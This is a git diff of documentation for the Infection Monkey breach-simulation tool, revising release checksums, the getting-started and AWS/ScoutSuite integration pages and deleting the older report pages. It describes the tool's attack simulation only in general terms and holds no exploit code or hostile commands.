`082165abd8c45d9731472ae0877fecedfbcefcff8c0003b43d4300854908f0cb` | +| infection_monkey_docker_dockerzt_20200427_184441.tgz | Docker | 1.8.0 | `74f824ecb14f5d47182156999d5aeaf2177d719c6f53ed81b68606b2ed931647` | +| Monkey Island v1.8.0_3528_windows.exe | Windows Installer | 1.8.0 | `baa13321c88223acd0262137ba018f9cbea869b5d1920565a5e6c8eb2c83b80e` | +| Monkey Island v1.8.0_3528_windowszt.exe | Windows Installer | 1.8.0 | `466f7c3aa052163f10e154ec787b31a98b54ced8cffc17373525e8ca39ec2556` | +| monkey-island-vmware.ova | OVA | 1.8.0 | `6BC4E85A0EA81045BD88E2D5A9F98F0DD40DE99E94D1E343D13FA418045A6915` | +| monkey-island-vmwarezt.ova | OVA | 1.8.0 | `79A043D85521F94024F8B0428A7A33B4D3F5B13F9D2B83F72C73C8D0BB12ED91` | +| monkey_island_vmware.deb | VMWare Debian | 1.7.0 | `8F77347343B1D070C4BCC43A6CF5971F086665206F76AD1304359ADB388C55DE` | +| dk.monkeyisland.latest.tar | Docker | 1.7.0 | `E92CD45DB172342FE906FEFA7F26BACB2F59C2BE8484756B71CD1BDEBCCA8BFB` | +| monkey-windows-32.exe | Agent | 1.7.0 | `00E121EC8AA3519498D225066A3BC29984A7DA2A6F4F0641ED465FD64107A117` | +| Monkey Island v1.7.0.3478.exe | Windows Installer | 1.7.0 | `AFC969884939DBE37DA6B8AD4999CA6E9F18E54BA03AC0C04C59ABB6D6204634` | +| monkey_island.deb | Debian | 1.7.0 | `4AE051BC47B39FA05937994B3D24226771D03891AB2EA484FD7B4AADC0C5E220` | +| monkey-windows-64.exe | Agent | 1.7.0 | `BCF60E0C4BC2578361CCACDA0C183B726AF375F0142306CA9013A14BBA9B962C` | +| monkey-linux-64 | Agent | 1.7.0 | `333529B3061473BF5EE713FA7E3DF4B05DD01823840BB92E1E715488A749B9EA` | +| monkey-linux-32 | Agent | 1.7.0 | `EF7A72FFDDF3A54C74F458201A45B51B779A68C460A309B0D5FD247264D7137D` | +| Monkey Island 1.7.0 OVA 20191013.ova | OVA | 1.7.0 | `EB1D568F1EA9236B3402A65484EE1F06350FF5C4097288F3FE3312474ECB48C7` | +| dk.monkeyisland.latest.zt.tar | Docker | 1.7.0 | `C998FD7CC73F394CD39450E49586397F721D8B7F2DFA4CFE30EC797864588C72` | +| Monkey Island v1.7.0 zt.exe | Windows Installer | 1.7.0 | `5C6DADDD3BCF0766DB515DC911DC80D7D11DFF8A72BCBBBE21DEB3C9F78B6889` | +| monkey_island_zt.deb | Debian | 1.7.0 | `A0515FBCFD9590CEA739E1AFA95CE7FC406C5E4206A67A50C8CD2423540818C8` | +| monkey_island_vmware_zt.deb | VMWare Debian | 1.7.0 | `80EDB3FB846251C7B80B72259837629F17A4166C34FE440451BDD7ED8CC43F7F` | +| Monkey Island 1.7.0 ZT OVA 20191013.ova | OVA | 1.7.0 | `D220E171CF38DCD434AB4473C72CE29873A495B16FFAA8CA55658F5606398E34` | +| infection_monkey_deb_vmware.20190519_125330.tgz | VMWare | 1.6.3 | `22e51f089e6537e2cb349b07b4bf22c7a63c68ae12776a7b5239a0238bf02a05` | +| infection_monkey_deb_gcp.20190519_125239.tgz | GCP | 1.6.3 | `b8fdb976af8130329265bd3ad36b553864f6f7a2a2df912cfea4215584774686` | +| infection_monkey_docker.20190519_125632.tgz | Docker | 1.6.3 | `5576e20fe8ee502a7b452b504789961aedae214e49061a58ca0f248cc72c1c78` | +| monkey-windows-32.exe | Agent | 1.6.3 | `6f68d436a2a85852b02e4d72d4202919753a78e5285c36bd1a5481c8711b1d6b` | +| Monkey Island v1.6.3.3468.exe | Windows Installer | 1.6.3 | `69cb63612855165db97eb3c253e5a6f627fe216e0610eca5e5e6f875281a3604` | +| infection_monkey_deb.20190519_124555.tgz | Debian | 1.6.3 | `2389b553bd569defa4b81053984f0743b1b4093cdcfcf8561243b9d882d55e83` | +| monkey-windows-64.exe | Agent | 1.6.3 | `502c749ede6e09b8c40bc4bbfd2a46c95d3626a1aef74c72ac7b5641595e8c9c` | +| monkey-linux-64 | Agent | 1.6.3 | `6cfec4aea2f993294ca32f816a85347be8b155fb9c39706c82866bce8d8f87c1` | +| monkey-linux-32 | Agent | 1.6.3 | `996b3883e9b1114b274bf25426ee13060b65f8deb08c96b57857b99d8e8e3277` | +| Infection Monkey 1.6.3.ova | OVA | 1.6.3 | `a5b6e7d547ad4ae79508301698d99cbaf3b3ebfb1d2f0274ae1151d803def1e4` | +| infection_monkey_deb_azure.20190519_125317.tgz | Azure | 1.6.3 | `fcf1b6bf805f4422deb90f25752573f796d5a73e148086f49db310208b02c829` | +| infection_monkey_deb_aws.20190519_130517.tgz | AWS | 1.6.3 | `9c232f5d2f9dc24c9faea3cf597af783798baedb61334e0e650ca79bdac29fec` | +| Infection Monkey 1.6.2.ova | OVA | 1.6.2 | `00346E6383E7BBDB107C14B668D251513E150C089A26AAFA3E17040D96C7DEC9` | +| infection_monkey_deb.1.6.2.tgz | Debian | 1.6.2 | `56BF1D99DD6674F9D3504D5DD5A62D8B3520B4F25449ED0026E5A0DC99BD0683` | +| infection_monkey_1.5_docker.tgz | Docker | 1.6.2 | `2466B4FFFE175EC5DEF0CAACF93EE5CC7D8878DBA63B30F148C560A6AFA5B537` | +| Monkey Island v1.6.2.3434.exe | Windows Installer | 1.6.2 | `2B0BFD5721897787536F4F94D5641E061833CBEF0279C0E38C41BC1B3E76A380` | +| Monkey-Linux-32 | Agent | 1.6.1 | `9E5F8FA7F85FEB1BC31E0AE7D1F303139CA3FE5FA044E6C58F68B4917D27CACE` | +| Monkey-Linux-64 | Agent | 1.6.1 | `74F9FFBB504FF5E74EFF1399685C0C110EDE0D3244F61591D77EE7A22672457E` | +| Monkey-Windows-32.exe | Agent | 1.6.1 | `53AC0F047CA95A0476944559F6FC650ADA865891139FA1258B35A5A525BC6002` | +| Monkey-Windows-64.exe | Agent | 1.6.1 | `53019FD25CD4A0AE526696EB05E2EEDE32607263C5F29BE36554D637532D41C3` | +| infection_monkey_1.5.2.ova | OVA | 1.5.2 | `6E6CAABBA7CCDB20E981147560353EC731B1FC8955D0319886D36E9825C201C7` | +| infection_monkey_1.5_deb.tgz | Debian | 1.5.2 | `E84EFA3C20A417D13DC6EA64CB046D40ED7534A6FBB91EBF6EA061716A855A17` | +| infection_monkey_1.5_docker.tgz | Docker | 1.5.2 | `0D33C17556FAC28874A2FE9157DB311892B42669E51C043C4DAE2F68B0D74B8F` | +| Monkey-Linux-32 | Agent | 1.5.2 | `4DF689A845FD7092E81ECB0AB5207621836B3D46B71FB3829E5E5CF9DDAF52D0` | +| Monkey-Linux-64 | Agent | 1.5.2 | `99FC4BB24D2EFF1CD107CCE932EA0BDC006ED2226AE0DC19DD0BC7A97ADB553F` | +| Monkey-Windows-32.exe | Agent | 1.5.2 | `8FC1441B87BDFD786A3A262542C013E4C84AC870C847A919CDA0851F91A511B9` | +| Monkey-Windows-64.exe | Agent | 1.5.2 | `0AE8F0AB190E8BEAE78AB12C8477C924FE92B19B1E079B279F4F87AE4BD2A718` | +| infection_monkey_deb.20180402_184213.tgz | Debian | 1.5.1 | `4425FC97DE825715837783258FD8BCF88E87AAB3500F63D287384B9D74D54122` | +| Monkey Island v1.5.1.3377.exe | Windows Installer | 1.5.1 | `5A137ADA97F39F4C3CA278E851D2684B929911639E2876EB4DF1D1AC5D70E27D` | +| infection_monkey_docker.20180402_184212.tgz | Docker | 1.5.1 | `049831C3F9C959128C5C8D9843819A4ED960FF046B1536216B5FA5FF4B28D1A6` | +| Monkey-Linux-32 | Agent | 1.6 | `665E1263347B9D0245211676496E91669809B3865ED8B5AD1878DA54A9784F5C` | +| Monkey-Linux-64 | Agent | 1.6 | `F0D51E7431CF07A842D4D25AAE2DD8A6B9EE08744914729AF448F92088798F7F` | +| Monkey-Windows-32.exe | Agent | 1.6 | `77AC4264715A6E7D238F8B67ED04EE75CF75C07D360A4B649CA6E31C83CE7B21` | +| Monkey-Windows-64.exe | Agent | 1.6 | `0DEED0AA00F7D54B084EF6888731B0CFEC6382045A74B55162FDD3D00D0BE9F8` | +| Monkey Island v1.6.0.3414.exe | Windows installer | 1.6 | `242879983A709D7CD6D7D7EEC493442B7FACC8E215CBB21650915C5EECB8829A` | +| infection_monkey_1.6.ova | OVA | 1.6 | `831FBA09AA49940B1747164BEB6B4AF83BA04FCE35285912AB0B18A7FA1A39D8` | +| infection_monkey_deb.1.6.tgz | Debian | 1.6 | `339EC88DD6A2AB6CB917456AA8970B0F1D36D7335E7D2EE1A34B74047F843542` | +| infection_monkey_docker.1.6.tgz | Docker | 1.6 | `0624CF75C4D208DDC7475636CFE2869BA324DEB88C3860DB2934E7BDA3E664F6` | +| infection_monkey.ova | OVA | 1.5 | `A6773C4DA8FF7A09C0F3FEE45A25D45830C616AACCEC14C86542462ADCDA1F89` | +| infection_monkey_deb.20180208_175917.tgz | Debian | 1.5 | `04E3CD3CD301A44BEE508C1BF993948B89212EF3269D61FB13ECB9FDC25268DB` | +| infection_monkey_docker.20180119_112852.tgz | Docker | 1.5 | `4D94C6BB7B4A0177CC1F3E864FB714015619ACB4DD1C4E92D8986BA093F8BD87` | +| Monkey Island v1.5.0.exe | Windows installer | 1.5 | `A1D7725AF116AE33CEA9A0E641E61C96E51FAFCCCB598F668EB99E35DE799C7B` | +| infection_monkey_1.5_deb.tgz | Debian | 1.5 | `1433B8A5E778F12C9E8AE4B1BCBF2863E0CC5E001D661C8540804B909B9D83C5` | +| infection_monkey_1.5_docker.tgz | Docker | 1.5 | `22B7FDC4C213F0385AEB9F63E60665470C2862C8C1B45B5B49FBF320570A9082` | +| Monkey Island v1.5.0.3371.exe | Windows Installer | 1.5 | `B69997E9920E73F16896D3E793AB721388E5636DB1846D4BFEC1C7A372EE2059` | +| infection_monkey_1.5_deb.tgz | Debian | 1.5 | `00EB499FCC590950723E42784D3502B70EAD8AD396B916AF450AB1A48DF993ED` | +| infection_monkey_1.5_docker.tgz | Docker | 1.5 | `A8670280A07EF6A9F5DC9CEB4B11B25DD7B90C37AD94666A6FFAABD6D105F0CB` | +| Monkey Island v1.5.0.exe | Windows Installer | 1.5 | `55F39C8EEB04089F54C10C991A82FE1539BC072E1A7F364D0C720CBF0A28EBB7` | +| Monkey-Linux-32 | Agent | 1.5 | `B85E10AEF0B6935B0AF6EFEA03C9A684859F2DD078B31D9492E98585E2E89C39` | +| Monkey-Linux-64 | Agent | 1.5 | `44BA13A7391D4A16C46D5EF44F60B09E1EDCEB3C716C0AF4241F166619A62944` | diff --git a/docs/content/usage/getting-started.md b/docs/content/usage/getting-started.md index 631957506..6572e7b24 100644 --- a/docs/content/usage/getting-started.md +++ b/docs/content/usage/getting-started.md @@ -7,32 +7,34 @@ pre: " " tags: ["usage"] --- +If you haven't deployed the Monkey Island yet, please [refer to our setup documentation](/setup). + ## Using the Infection Monkey -After deploying the Monkey Island in your environment, navigate to `https://:5000`. +After deploying the Monkey Island in your environment, navigate to `https://:5000`. -### First-time setup +### First-time login -On your first login, you'll be asked to set up a username and password for the Monkey Island server. [See this page for more details](../accounts-and-security). +On your first login, you'll be asked to create a username and password for the Monkey Island server. [See this page for more details](../../setup/accounts-and-security). -### Run the Monkey +### Running the Infection Monkey -To get the Infection Monkey running as fast as possible, click **Run Monkey**. Optionally, you can configure the Monkey before you continue by clicking **Configuration** (see [how to configure the monkey](../configuration)). +To get the Infection Monkey running as fast as possible, click **Run Monkey**. Optionally, you can configure the Infection Monkey before you continue by clicking on **Configuration** (see [how to configure the Infection Monkey](../configuration)). -To run the monkey, select one of the following options: +To run the Infection Monkey, select one of the following options: ![Run Page](/images/usage/getting-started/run_page_with_arrows.jpg "Run Page") -1. Click **Run on C&C Server** to run the Infection Monkey on the Monkey Island server. This simulates an attacker trying to propagate through local network from Monkey Island machine. -2. Click **Run on machine of your choice** to download and execute the Infection Monkey on a machine of your choice. Then follow the instructions and execute the generated command on the machine of your choice. This simulates an attacker who has breached one of your servers. The Monkey will map all accessible machines and their open services and try to steal credentials and use its exploits to propagate. +1. Click **Run on C&C Server** to run the Infection Monkey on the Monkey Island server. This simulates an attacker trying to propagate through your local network from the Monkey Island machine. +2. Click **Run on machine of your choice** to download and execute the Infection Monkey on a machine of your choice. Then follow the instructions and run the generated command on the machine you selected. This simulates an attacker who has breached one of your servers. The Infection Monkey will map all accessible machines and their open services, attempting to steal credentials and use exploits to propagate. ![Run on machine of your choice](/images/usage/getting-started/run_page_button_no_arrow.jpg "Run on machine of your choice") {{% notice tip %}} -If you're running in an AWS cloud environment, check out [Usage -> Integrations](../../usage/integrations) for information about how Monkey integrates with AWS. +If you're running the Infection Monkey in an AWS cloud environment, check out [Usage -> Integrations](../../usage/integrations) for information about how it integrates with AWS. {{% /notice %}} -### Infection Map +### Infection map Next, click **Infection Map** to see the Infection Monkey in action. @@ -46,8 +48,8 @@ Within a few minutes, the Infection Monkey should be able to find and attack acc ![Middle of Monkey execution](/images/usage/getting-started/single_exploitation.JPG "Middle of Monkey execution") -As the Infection Monkey continues, the map should be filled with accessible and “hacked” machines. Once all the Infection Monkeys have finished propagating, click **Reports** to see the reports. See [Infection Monkey Reports](../reports) for more info. +As the simulation continues, the Infection Monkey will fill in the map with data on accessible and "hacked" machines. Once all the Infection Monkeys have finished propagating, click **Reports** to see the reports. See [Infection Monkey Reports](../reports) for more info. ![End of Monkey execution](/images/usage/getting-started/exploitation_tunneling_arrow.jpg "End of Monkey execution") -Congratulations, you finished first successful execution of the Infection Monkey! 🎉 To thoroughly test your network, you can run the Infection Monkey from different starting locations using different configurations. +Congratulations, you finished your first successful execution of the Infection Monkey 🎉 ! To thoroughly test your network, you can run the Infection Monkey from different starting locations and use different configurations. diff --git a/docs/content/usage/integrations/_index.md b/docs/content/usage/integrations/_index.md index a7e2157f6..d4e78e1e5 100644 --- a/docs/content/usage/integrations/_index.md +++ b/docs/content/usage/integrations/_index.md @@ -7,8 +7,8 @@ weight: 10 pre: " " --- -# Integrate the Monkey with 3rd party software +# Integrate the Infection Monkey with third-party software -The Monkey likes working together. See these documentation pages for information on each integration the Monkey currently offers: +The Infection Monkey likes working together! See these documentation pages for information on each integration the Infection Monkey currently offers: -{{% children description=true %}} +{{% children description=true style="p"%}} diff --git a/docs/content/usage/integrations/aws-run-on-ec2-machine.md b/docs/content/usage/integrations/aws-run-on-ec2-machine.md index 0183dc241..7c000ade1 100644 --- a/docs/content/usage/integrations/aws-run-on-ec2-machine.md +++ b/docs/content/usage/integrations/aws-run-on-ec2-machine.md @@ -8,23 +8,23 @@ tags: ["aws", "integration"] ## When to use this feature -If your network is deployed on Amazon Web Services (with EC2 instances), and you'd like to run the Infection Monkey in order to test it, this page is for you. You can easily run the monkey on **various instances** within your network - in a secure fashion, **without** feeding the Island with any credentials or running shell commands on the machines you want to test. +If your network is deployed on Amazon Web Services (with EC2 instances) and you'd like to run the Infection Monkey to test it, this page is for you. You can easily run the Infection Monkey on various instances within your network in a secure fashion, without feeding it credentials or running shell commands on the machines you want to test. -The results will be exported to AWS security hub automatically, as well. To see more information about that, see the [Infection Monkey and AWS Security Hub documentation](https://github.com/guardicore/monkey/wiki/Infection-Monkey-and-AWS-Security-Hub). +The results will be exported to the AWS security hub automatically as well. To learn more about that topic, see the [Infection Monkey and AWS Security Hub documentation](https://github.com/guardicore/monkey/wiki/Infection-Monkey-and-AWS-Security-Hub). ![AWS EC2 logo](/images/usage/integrations/aws-ec2.svg?height=250px "AWS EC2 logo") ## Setup -Assuming your network is already set up in AWS EC2, follow these quick steps to get up and running. +Assuming your network is already set up in AWS EC2, follow the steps below to get up and running quickly. ### Monkey Island deployment -In order to run the Monkeys directly from the Monkey Island server, you need to deploy the Monkey Island server to an AWS EC2 instance in the same network which you want to test. For information about deploying the Monkey Island server, see [setup](../../../setup). +In order to run the Infection Monkey agents directly from the Monkey Island server, you need to deploy the Monkey Island server to an AWS EC2 instance in the same network which you want to test. For information about deploying the Monkey Island server, see [setup](../../../setup). ### Setup IAM roles -In order for the Island to successfully view your instances, you'll need to set appropriate IAM roles to your instances. You can read more about IAM roles [in Amazon's documentation](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html), but it's not necessary in order to follow this setup. +In order for the Infection Monkey to successfully view your instances, you'll need to set appropriate IAM roles for your instances. You can read more about IAM roles [in Amazon's documentation](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html), but it's not necessary in order to follow this setup. #### Creating a custom IAM role @@ -34,7 +34,7 @@ Go to the [AWS IAM roles dashboard](https://console.aws.amazon.com/iam/home?#/ro #### Applying the IAM role to an instance -For each instance you'd like to access from the island, apply the new IAM role you've just created to the instance. For example: +For each instance you'd like to access from the Monkey Island, apply the new IAM role you've just created to the instance. For example: ![Applying a custom IAM role](/images/usage/integrations/monkey-island-aws-screenshot-4.png "Applying a custom IAM role") @@ -42,39 +42,38 @@ After applying the IAM role you should see this screen: ![Applying a custom IAM role](/images/usage/integrations/monkey-island-aws-screenshot-5.png "Applying a custom IAM role") -**Note: after setting IAM roles, the roles might take a few minutes (up to 10 minutes sometimes) to effectively kick in.** This is how AWS works and is not related to the Monkey implementation. See [this StackOverflow thread for more details.](https://stackoverflow.com/questions/20156043/how-long-should-i-wait-after-applying-an-aws-iam-policy-before-it-is-valid) +**Note: after setting IAM roles, the roles might take a few minutes (up to 10 minutes sometimes) to effectively kick in.** This is how AWS works and is not related to the Infection Monkey implementation. See [this StackOverflow thread for more details.](https://stackoverflow.com/questions/20156043/how-long-should-i-wait-after-applying-an-aws-iam-policy-before-it-is-valid) -### Setup SSM agent +### Setup the SSM agent -If your EC2 instances don't have the _SSM agent_ installed, they will not be able to execute SSM commands, which means you won't see them in the AWS machines table on the monkey island. Generally speaking, most new EC2 instances ought to have SSM pre-installed; The SSM Agent is installed, by default, on Amazon Linux base AMIs dated 2017.09 and later, and on Amazon Linux 2, Ubuntu Server 16.04, and Ubuntu Server 18.04 LTS AMIs. +If your EC2 instances don't have the _SSM agent_ installed, they will not be able to execute SSM commands, which means you won't see them in the AWS machines table on the Monkey Island. Generally speaking, most new EC2 instances should have SSM pre-installed. The SSM Agent is installed, by default, on Amazon Linux base AMIs dated 2017.09 and later, on Amazon Linux 2, Ubuntu Server 16.04 and Ubuntu Server 18.04 LTS AMIs. -See [Amazon's documentation about working with SSM agents](https://docs.aws.amazon.com/systems-manager/latest/userguide/ssm-agent.html) for more details on how to check if you have an SSM agent and how to manually install one if you don't have one. +See [Amazon's documentation about working with SSM agents](https://docs.aws.amazon.com/systems-manager/latest/userguide/ssm-agent.html) for more details on how to check if you have an SSM agent and how to manually install one if you don't yet have it. ## Usage -### Running the monkey +### Running the Infection Monkey -When you run the monkey island on an AWS instance, the island detects it's running on AWS and present the following option in the _"Run Monkey"_ page, like so: +When you run the Monkey Island on an AWS instance, the island detects it's running on AWS and presents the following option on the _"Run Monkey"_ page: ![Running a Monkey on EC2 Instance](/images/usage/integrations/monkey-island-aws-screenshot-1.png "Running a Monkey on EC2 Instance") -And then you can choose one of the available instances as "patient zero" like so: +After you click on **Run on AWS machine of your choice** you can choose one of the available instances as "patient zero" by: -1. Click on "Run on AWS" -2. Choose the relevant Network Interface -3. Select the machines you'd like to run the Monkey on -4. Click "Run on Selected Machines", and watch the monkey go! 🐒 +1. Choosing the relevant network interface +2. Selecting the machines you'd like to run the Infection Monkey on +3. Clicking **Run on Selected Machines** — now watch the Infection Monkey go! 🐒 ![Running a Monkey on EC2 Instance](/images/usage/integrations/monkey-island-aws-screenshot-2.png "Running a Monkey on EC2 Instance") ## Notes -- The machines which can use IAM roles and be listed MUST be internet connected (or you can set up a proxy for IAM). This is standard AWS practice and you can read about it (and about how to set up the required proxy machines) in AWS IAM documentation. -- You can see the monkey in [the AWS marketplace](https://aws.amazon.com/marketplace/pp/B07B3J7K6D). +- The machines which can use IAM roles and be listed MUST be internet connected (or you can set up a proxy for IAM). This is standard AWS practice and you can read about it (and about how to set up the required proxy machines) in the AWS IAM documentation. +- You can view the Infection Monkey in [the AWS marketplace](https://aws.amazon.com/marketplace/pp/B07B3J7K6D). ### Appendix A: Specific policy permissions required -The IAM role will need to have, at least, the following specific permissions: +The IAM role will need to have, at minimum, the following specific permissions: #### For executing the Monkey on other machines - SSM @@ -101,7 +100,7 @@ Here's the policy of the IAM role, as a JSON object: } ``` -#### For exporting security findings to the Security Hub - security hub +#### For exporting security findings to the AWS Security Hub - security hub _Note: these can be set on the Monkey Island machine alone, since it's the only one exporting findings to the AWS secutiry hub._ @@ -127,7 +126,7 @@ Here's the policy for SecurityHub, as a JSON object: } ``` -The JSON object for both of the policies combined therefore is: +The JSON object for both of the policies combined is: ```json { diff --git a/docs/content/usage/integrations/aws-security-hub.md b/docs/content/usage/integrations/aws-security-hub.md index 364890b3a..b0248235a 100644 --- a/docs/content/usage/integrations/aws-security-hub.md +++ b/docs/content/usage/integrations/aws-security-hub.md @@ -10,24 +10,31 @@ The Infection Monkey integration with the [AWS Security Hub](https://docs.aws.am ![AWS security hub logo](/images/usage/integrations/AWS-Security-Hub-logo.png "AWS security hub logo") -The integration will send _all_ Infection Monkey findings (typically low tens of findings) to the security hub at the end of a Monkey breach simulation. +The integration will send all Infection Monkey findings (typically 10 to 40) to the AWS Security Hub at the end of a breach simulation. ## Setup -If the correct permissions have been set on the AWS IAM role of the Monkey Island machine, then the Island will automatically export its findings to the AWS security hub. +If the correct AWS IAM role permissions have been set on the Monkey Island machine, it will automatically export its findings to the AWS Security Hub. -### Specific permissions required for security hub +### Specific permissions required for the AWS Security Hub - `"securityhub:UpdateFindings"` - `"securityhub:BatchImportFindings"` -Note that the integration is specifically between your Monkey Island and the security hub. The Infection Monkey is an free project and there is no centralised infrastructure. + +Note that this integration is specifically between your Monkey Island and the AWS Security Hub. The Infection Monkey is a free project, and there is no centralized infrastructure. + +### Enabling finding reception + +Before starting the scan, make sure that the AWS Security Hub is accepting findings by enabling the Infection Monkey integration. Find **GuardiCore: AWS Infection Monkey** integration on the list and click on **Accept findings**. + +![Enabled integration](/images/usage/integrations/security-hub-enable-accepting-findings.png "Enabled integration") ## Integration details -The Infection Monkey reports the following types of issues to the AWS security hub: `Software and Configuration Checks/Vulnerabilities/CVE`. +The Infection Monkey reports the following types of issues to the AWS Security Hub: `Software and Configuration Checks/Vulnerabilities/CVE`. -Specifically, the Island sends findings for all vulnerabilities it finds along with generic findings on the network (such as segmentation issues). Our normalized severity is 100, while most issues we report range between 1 and 10. +Specifically, the Infection Monkey sends findings for all vulnerabilities it finds along with generic findings on the network (such as segmentation issues). Our normalized severity is 100, while most issues we report range between 1 and 10. ## Regions @@ -35,9 +42,9 @@ The Infection Monkey is usable on all public AWS instances. ## Example -After setting up a monkey environment in AWS and attaching the correct IAM roles to the monkey island machine, the report findings were exported to the security hub. +After setting up the Infection Monkey in AWS and attaching the correct IAM roles to your Monkey Island machine, the report findings were exported to the AWS Security Hub. 1. Navigate to `Findings`. -2. Press on a specific finding to see more details and possible solutions. +2. Click on a specific finding to see more details and possible solutions. -![AWS Security hub console example](images/usage/integrations/security-hub-console-example.png "AWS Security hub console example") +![AWS Security hub console example](/images/usage/integrations/security-hub-console-example.png "AWS Security hub console example") diff --git a/docs/content/usage/integrations/scoutsuite.md b/docs/content/usage/integrations/scoutsuite.md new file mode 100644 index 000000000..76737681c --- /dev/null +++ b/docs/content/usage/integrations/scoutsuite.md @@ -0,0 +1,67 @@ +--- +title: "Scoutsuite" +date: 2021-03-02T16:23:06+02:00 +draft: false +description: "Scout Suite is an open-source cloud security-auditing tool." +weight: 10 +--- + +### About ScoutSuite + +Scout Suite is an open-source cloud security-auditing tool. +It queries the cloud API to gather configuration data. Based on configuration +data gathered, ScoutSuite shows security issues and risks present in your infrastructure. + +### Supported cloud providers + +Currently, ScoutSuite integration only supports AWS environments. + +### Enabling ScoutSuite + +First, Infection Monkey needs access to your cloud API. You can provide access +in the following ways: + + - Provide access keys: + - Create a new user with ReadOnlyAccess and SecurityAudit policies and generate keys + - Generate keys for your current user (faster but less secure) + - Configure AWS CLI: + - If the command-line interface is available on the Island, it will be used to access + the cloud API + +More details about configuring ScoutSuite can be found in the tool itself, by choosing +"Cloud Security Scan" in the "Run Monkey" options. + +![Cloud scan option in run page](/images/usage/integrations/scoutsuite_run_page.png +"Successful setup indicator") + +After you're done with the setup, make sure that a checkmark appears next to the AWS option. This +verifies that ScoutSuite can access the API. + +![Successfull setup indicator](/images/usage/integrations/scoutsuite_aws_configured.png +"Successful setup indicator") + +### Running a cloud security scan + +If you have successfully configured the cloud scan, Infection Monkey will scan +your cloud infrastructure when the Monkey Agent is run **on the Island**. You +can simply click on "From Island" in the run options to start the scan. The +scope of the network scan and other activities you may have configured the Agent +to perform are ignored by the ScoutSuite integration, except **Monkey +Configuration -> System info collectors -> AWS collector**, which needs to +remain **enabled**. + + +### Assessing scan results + +After the scan is done, ScoutSuite results will be categorized according to the +ZeroTrust Extended framework and displayed as a part of the ZeroTrust report. +The main difference between Infection Monkey findings and ScoutSuite findings +is that ScoutSuite findings contain security rules. To see which rules were +checked, click on the "Rules" button next to the relevant test. You'll see a +list of rule dropdowns that are color coded according to their status. Expand a +rule to see its description, remediation and more details about resources +flagged. Each flagged resource has a path so you can easily locate it in the +cloud and remediate the issue. + +![Open ScoutSuite rule](/images/usage/integrations/scoutsuite_report_rule.png +"Successful setup indicator") diff --git a/docs/content/usage/reports/mitre.md b/docs/content/usage/reports/mitre.md deleted file mode 100644 index 05f87ba03..000000000 --- a/docs/content/usage/reports/mitre.md +++ /dev/null @@ -1,35 +0,0 @@ ---- -title: "MITRE ATT&CK report" -date: 2020-06-24T21:17:18+03:00 -draft: false ---- - -{{% notice info %}} -Check out [the documentation for the other reports as well](../). -{{% /notice %}} - -The Monkey maps its actions to the [MITRE ATT&CK](https://attack.mitre.org/) knowledge base: It provides a new report with the utilized techniques and recommended mitigations, to help you simulate an APT attack on your network and mitigate real attack paths intelligently. - -Watch an overview video: - -{{% youtube 3tNrlutqazQ %}} - -## How to use the report - -The MITRE ATT&CK report is centred around the ATT&CK matrix: - -![MITRE Report](/images/usage/reports/mitre-report-0.jpg "MITRE Report") - -The Monkey rates your network on the attack techniques it attempted. For each technique, you can get - -- {{< label danger Red >}}: The Monkey **successfully used** the technique in the simulation. That means your network is vulnerable to this technique being employed. -- {{< label warning Yellow >}}: The Monkey **tried to use** the technique, but didn’t manage to. That means your network isn’t vulnerable to the way Monkey employs this technique. -- {{< label other Grey >}}: The Monkey **didn't try** the technique this time. Perhaps it wasn't relevant to this network or wasn't configured. - -Then, you can see exactly HOW the technique was used in this attack, and also what you should do to mitigate it, by clicking on the technique and seeing the details. For example, let’s look at the [**Brute Force**](https://attack.mitre.org/techniques/T1110/) technique that’s a part of employing the [**Credentials Access**](https://attack.mitre.org/tactics/TA0006/) tactic: - -![MITRE Report Credentials Access technique](/images/usage/reports/mitre-report-cred-access.png "MITRE Report Credentials Access technique") - -In this example, you can see how the Monkey was able to use one old `root` password to access all machines in the network. When scrolling to the bottom of this list, you can also see the mitigation recommended, including **Account Use Policies** and implementing **Multiple Factor Authentication**. - -![MITRE Report Credentials Access technique](/images/usage/reports/mitre-report-cred-access-mitigations.png "MITRE Report Credentials Access technique") diff --git a/docs/content/usage/reports/security.md b/docs/content/usage/reports/security.md deleted file mode 100644 index a36106183..000000000 --- a/docs/content/usage/reports/security.md +++ /dev/null @@ -1,97 +0,0 @@ ---- -title: "Security report" -date: 2020-06-24T21:16:10+03:00 -draft: false ---- - -{{% notice info %}} -Check out [the documentation for the other reports as well](../). -{{% /notice %}} - -The Monkey's Security Report is built to provide you with actionable recommendations and insight to the Attacker's view of your network. You can download a PDF of this example report: - -{{%attachments title="Download the PDF" pattern=".*(pdf)"/%}} - -The report is split into 3 main categories: "Overview", "Recommendations" and "The network from the Monkey's eyes". - -- [Overview](#overview) - - [High level information](#high-level-information) - - [Used Credentials](#used-credentials) - - [Exploits and targets](#exploits-and-targets) - - [Security Findings](#security-findings) -- [Recommendations](#recommendations) - - [Machine related recommendations relating to specific CVEs](#machine-related-recommendations-relating-to-specific-cves) - - [Machine related recommendations relating to network security and segmentation](#machine-related-recommendations-relating-to-network-security-and-segmentation) -- [The network from the Monkey's eyes](#the-network-from-the-monkeys-eyes) - - [Network infection map](#network-infection-map) - - [Scanned servers](#scanned-servers) - - [Exploits and post-breach actions](#exploits-and-post-breach-actions) - - [Stolen Credentials](#stolen-credentials) - -## Overview - -The overview section of the report provides high-level information about the Monkey execution and the main security findings that the Monkey has found. - -### High level information - -The report starts with information about the execution, including how long the simulation took and from which machine the infection started from. - -![Overview](/images/usage/reports/sec_report_1_overview.png "Overview") - -### Used Credentials - -The report will show which credentials were used for brute-forcing. - -![Used Credentials](/images/usage/reports/sec_report_2_users_passwords.png "Used Credentials") - -### Exploits and targets - -The report shows which exploits were attempted in this simulation and which targets the Monkey scanned and tried to exploit. - -![Exploits and Targets](/images/usage/reports/sec_report_3_exploits_ips.png "Exploits and Targets") - -### Security Findings - -The report highlights the most important security threats and issues the Monkey discovered during the attack. - -![Threats and issues](/images/usage/reports/sec_report_4_threats_and_issues.png "Threats and issues") - -## Recommendations - -This section contains the Monkey's recommendations for improving your security - what mitigations you need to implement. - -### Machine related recommendations relating to specific CVEs - -![Machine related recommendations](/images/usage/reports/sec_report_5_machine_related.png "Machine related recommendations") - -### Machine related recommendations relating to network security and segmentation - -![Machine related recommendations](/images/usage/reports/sec_report_6_machine_related_network.png "Machine related recommendations") - -## The network from the Monkey's eyes - -This section contains the Infection Map and some summary tables on servers the Monkey has found. - -### Network infection map - -This part shows the network map and a breakdown of how many machines were breached. - 